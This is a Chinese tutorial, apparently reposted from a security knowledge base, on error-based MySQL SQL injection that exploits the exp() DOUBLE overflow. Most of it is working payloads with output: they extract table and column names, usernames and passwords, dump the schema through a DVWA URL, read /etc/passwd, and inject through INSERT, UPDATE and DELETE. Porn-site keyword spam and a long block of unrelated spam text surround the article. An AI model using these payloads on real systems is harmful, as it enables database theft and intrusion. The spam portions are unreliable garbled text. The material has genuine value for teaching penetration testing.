国产精品电影_久久视频免费_欧美日韩国产激情_成年人视频免费在线播放_日本久久亚洲电影_久久都是精品_66av99_九色精品美女在线_蜜臀a∨国产成人精品_冲田杏梨av在线_欧美精品在线一区二区三区_麻豆mv在线看

使用exp進行SQL報錯注入

安全 數據安全
好消息好消息~作者又在MySQL中發現了一個Double型數據溢出。

0x01 前言概述

好消息好消息~作者又在MySQL中發現了一個Double型數據溢出。如果你想了解利用溢出來注出數據,你可以讀一下作者之前發的博文:BIGINT Overflow Error based injections,drops上面也有對應翻譯,具體見這里。當我們拿到MySQL里的函數時,作者比較感興趣的是其中的數學函數,它們也應該包含一些數據類型來保存數值。所以作者就跑去測試看哪些函數會出現溢出錯誤。然后作者發現,當傳遞一個大于709的值時,函數exp()就會引起一個溢出錯誤。

使用exp進行SQL報錯注入

mysql> select exp(709);
+-----------------------+
| exp(709)              |
+-----------------------+
| 8.218407461554972e307 |
+-----------------------+
1 row in set (0.00 sec)

mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'

在MySQL中,exp與ln和log的功能相反,簡單介紹下,就是log和ln都返回以e為底數的對數,見等式:

 

 

enter image description here

 

 

 

enter image description here

mysql> select log(15);
+------------------+
| log(15)          |
+------------------+
| 2.70805020110221 |
+------------------+
1 row in set (0.00 sec)


mysql> select ln(15);
+------------------+
| ln(15)           |
+------------------+
| 2.70805020110221 |
+------------------+
1 row in set (0.00 sec)

 

指數函數為對數函數的反函數,exp()即為以e為底的對數函數,如等式:

 

enter image description here

mysql> select exp(2.70805020110221);
+-----------------------+
| exp(2.70805020110221) |
+-----------------------+
|                    15 |
+-----------------------+
1 row in set (0.00 sec)

 

0x02 注入

當涉及到注入時,我們使用否定查詢來造成“DOUBLE value is out of range”的錯誤。作者之前的博文提到的,將0按位取反就會返回“18446744073709551615”,再加上函數成功執行后返回0的緣故,我們將成功執行的函數取反就會得到***的無符號BIGINT值。

mysql> select ~0;
+----------------------+
| ~0                   |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)


mysql> select ~(select version());
+----------------------+
| ~(select version())  |
+----------------------+
| 18446744073709551610 |
+----------------------+
1 row in set, 1 warning (0.00 sec)

我們通過子查詢與按位求反,造成一個DOUBLE overflow error,并借由此注出數據。

  1. >`exp(~(select*from(select user())x))`  
  2.  
  3.     mysql> select exp(~(select*from(select user())x));  
  4.     ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))' 

0x03 注出數據

得到表名:

 

  1. select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x)); 

 

得到列名:

 

  1. select exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x)); 

 

檢索數據:

 

  1. select exp(~ (select*from(select concat_ws(':',id, username, passwordfrom users limit 0,1)x)); 

 

0x04 一蹴而就

這個查詢可以從當前的上下文中dump出所有的tables與columns。我們也可以dump出所有的數據庫,但由于我們是通過一個錯誤進行提取,它會返回很少的結果。

  1. exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))  
  2.  
  3. http://localhost/dvwa/vulnerabilities/sqli/?id=1' or exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))-- -&Submit=Submit# 

 

enter image description here

 

0x05 讀取文件

你可以通過load_file()函數來讀取文件,但作者發現有13行的限制,該語句也可以在BIGINT overflow injections中使用。

  1. select exp(~(select*from(select load_file('/etc/passwd'))a));  
  2.  

 

enter image description here

 

注意,你無法寫文件,因為這個錯入寫入的只是0。

  1. mysql> select exp(~(select*from(select 'hello')a)) into outfile 'C:/out.txt';  
  2. ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'hello' from dual)))'      
  3.  
  4. # type C:\out.txt  

0x06 Injection in Insert

按部就班就好

  1. mysql> insert into users (id, username, passwordvalues (2, '' ^ exp(~(select*from(select user())x)), 'Eyre');  
  2. ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))' 

對于所有的insert,update和delete語句DIOS查詢也同樣可以使用。

  1. mysql> insert into users (id, username, passwordvalues (2, '' | exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)), 'Eyre');  
  2. ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '000  
  3. newdb::users::id  
  4. newdb::users::username  
  5. newdb::users::password' from dual)))' 

0x07 Injection in Update

  1. mysql> update users set password='Peter' ^ exp(~(select*from(select user())x)) where id=4;  
  2. ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))' 

0x08 Injection in Delete

  1. mysql> delete from users where id='1' | exp(~(select*from(select user())x));  
  2. ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))' 

和前面的BIGINT注入一樣,exp注入也適用于MySQL5.5.5及以上版本。以前的版本對于此情況則是“一言不發”。

  1. mysql> select version();  
  2. +---------------------+  
  3. | version()           |  
  4. +---------------------+  
  5. | 5.0.45-community-nt |  
  6. +---------------------+  
  7. 1 row in set (0.00 sec)   
  8.  
  9.  
  10. mysql> select exp(710);  
  11. +----------+  
  12. | exp(710) |  
  13. +----------+  
  14. |   1.#INF |  
  15. +----------+  
  16. 1 row in set (0.00 sec)   
  17.  
  18.  
  19. mysql> select exp(~0);  
  20. +---------+  
  21. | exp(~0) |  
  22. +---------+  
  23. |  1.#INF |  
  24. +---------+  
  25. 1 row in set (0.00 sec) 

可能還有其他的函數會產生這種報錯呦。(有待你發現啦:)

責任編輯:藍雨淚 來源: 烏云知識庫
相關推薦

2010-12-14 11:30:11

2010-03-29 16:16:59

Oracle exp備

2010-12-20 16:04:30

2009-03-10 08:05:19

2013-11-07 09:31:22

2024-05-06 13:34:28

WireGoogleGo

2021-05-09 22:48:40

SQL數據庫變量

2017-08-10 10:23:59

2024-08-19 08:16:57

@Resource@AutowiredSpring

2010-04-13 14:35:17

2019-07-05 08:12:36

SQLMAPsql注入

2009-09-27 09:39:19

2023-07-13 11:24:14

SQL優化賦值

2021-08-09 15:00:36

SQL數據庫

2020-10-26 07:04:29

SQL注入mysql

2013-05-02 15:09:22

2010-09-17 13:40:43

SQL更新

2019-10-17 09:25:56

Spark StreaPVUV

2009-04-16 17:44:46

性能優化擴展高性能

2023-10-18 18:31:04

SQL查詢數據
點贊
收藏

51CTO技術棧公眾號

国内精品伊人| 精品999日本| 欧美性猛交xxxx| 丁香六月激情婷婷| 99精品视频精品精品视频| 亚洲欧洲一区二区三区久久| 免费看成一片| 成人h动漫精品一区二区| 高清国产在线一区| 538任你躁精品视频网免费| 91麻豆精品国产自产在线观看一区 | 亚洲欧美国产精品久久久久久久| 久草福利资源在线视频| 成人午夜伦理影院| 蜜桃网站成人| 成人同人动漫免费观看| 精品中文字幕视频| 欧美少妇网站| 欧美精品1区2区3区| 欧美sm精品调教视频| 久久夜色精品一区| 亚洲 欧美 综合 另类 中字| 国产精品a级| 国产日韩精品一区二区| 在线一区二区三区视频| 国产亚洲精品一区二555| 尤物视频在线看| 91久久精品一区二区三区| 初尝黑人巨炮波多野结衣电影| jvid福利写真一区二区三区| www.午夜色| 奇米一区二区三区av| 久久精品国产精品国产精品污| 久久日文中文字幕乱码| 欧美重口另类videos人妖| 伊人久久噜噜噜躁狠狠躁| 日韩中文在线观看| 日韩欧美一区二区三区免费观看| 欧美一区二区三区男人的天堂| 天堂成人在线| 亚洲大尺度视频在线观看| 激情四房婷婷| 亚洲国产日产av| 国产三级av在线| 亚洲国产精品久久人人爱 | 亚洲激情在线观看| 国产精品久久久久久福利| 在线一区二区三区四区| 一级在线观看| 一本一道综合狠狠老| 蜜芽tv福利在线视频| 欧美午夜在线一二页| 春暖花开成人亚洲区| 在线观看中文字幕不卡| 国产色a在线| 欧美三级在线视频| 少女频道在线观看免费播放电视剧| 欧美一区二区成人| 女厕盗摄一区二区三区| 国产午夜精品视频| 国产一区二区三区视频在线| 欧美日本精品在线| 欧美日韩看看2015永久免费| 98精品国产高清在线xxxx天堂| 奇米777国产一区国产二区| 国产成人精品网站| 亚洲无中文字幕| 欧美精品欧美精品系列c| 美女爽到高潮91| 国产高清av在线播放| 欧美韩国日本不卡| 在线国产一级| 69堂国产成人免费视频| 99色在线观看| 久久精品国产清自在天天线| 国产精品一线| 亚洲a区在线视频| 日韩制服丝袜av| 国产 日韩 欧美在线| 国产精品丝袜一区| 国产综合在线观看| 亚洲电影免费观看高清完整版在线观看 | 久久成人福利视频| 亚洲男人的天堂一区二区| 高清中文字幕一区二区三区| 欧美成人在线直播| 日韩成人在线看| 91中文字精品一区二区| 久久av老司机精品网站导航| av观看免费在线| 日韩欧美一区二区三区| 女厕盗摄一区二区三区| 久久久久久久久久久免费| 欧美69视频| 国产亚洲黄色片| 亚洲午夜激情av| www.九色在线| 国产91精品不卡视频| 亚洲欧美成人综合| 老头吃奶性行交视频| 欧美性大战久久久久久久蜜臀 | 91色在线观看| 成人精品小蝌蚪| 黄色在线免费观看大全| 日韩中文字幕在线视频| 午夜久久99| 欧美视频第三页| 欧美精品丝袜久久久中文字幕| 国产精品国产三级在线观看| 国产免费一区| 国产精品不卡在线观看| 久草在线视频福利| 国产日韩av在线播放| 不卡的看片网站| 欧美成年黄网站色视频| 国外成人在线直播| 狠狠狠色丁香婷婷综合激情| 欧美 国产 综合| 欧美一区二区人人喊爽| 亚洲日本三级| www.夜夜爱| 欧美一卡2卡3卡4卡| 波多野结衣在线观看一区二区三区 | 欧美一级专区免费大片| 国产亚洲第一伦理第一区| 永久免费网站视频在线观看| 91极品美女在线| 三级小说欧洲区亚洲区| 人体内射精一区二区三区| 欧美日韩精品系列| 精品国产视频| 久久久久久三级| 国产一区二区日韩精品欧美精品| 99精品99| 黄色av网址在线免费观看| 欧美亚洲一区在线| 久久亚洲一区二区三区明星换脸| 丝袜美女在线观看| 久久精品国产综合精品| 亚洲3atv精品一区二区三区| japanese色系久久精品| 国产高清av在线播放| 日韩精品高清在线观看| 国产伦理一区| lutube成人福利在线观看| 国产精品久久久久aaaa九色| 久久久久国产精品麻豆| 精品久久99| 日本a在线天堂| 亚洲精品一区二区三区在线观看| 亚洲激情综合| 最新国产在线观看| av一本久道久久波多野结衣| 亚洲成人久久影院| 欧美美女在线| ckplayer中文字幕| 欧美制服第一页| 综合网在线视频| 亚洲精品国产精品粉嫩| 免费看的毛片| 国产精品偷伦视频免费观看国产 | 久久av老司机精品网站导航| bbbbbbbbbbb在线视频| 51国产成人精品午夜福中文下载 | 国产一区二区在线观| 777精品久无码人妻蜜桃| 国产一区二区黑人欧美xxxx| 国产久卡久卡久卡久卡视频精品| 九色porny丨首页入口在线| 亚洲一二区在线| 日本在线三级| 亚洲国产va精品久久久不卡综合| 亚洲人成电影| 黄动漫网站在线观看| 福利视频网站| 天堂在线第六区| 亚洲色图图片网| 中文字幕在线直播| 欧美日韩黑人| 巨茎人妖videos另类| 日韩视频在线播放| 97影院在线午夜| 国产精品白嫩美女在线观看| 亚洲小少妇裸体bbw| 亚洲一卡二卡三卡| 日韩成人av网址| 99久久精品国产毛片| 日韩三级av高清片| 影音先锋另类| 欧美久久久久久久| 中文字幕在线观看日韩| 国产精品久久久久久久第一福利 | 日韩三级高清在线| 九九精品视频在线看| 黄页免费欧美| 老司机色在线视频| 欧美影视一区二区| 久久国产精品偷| 欧美日韩加勒比精品一区| 日韩成人一级大片|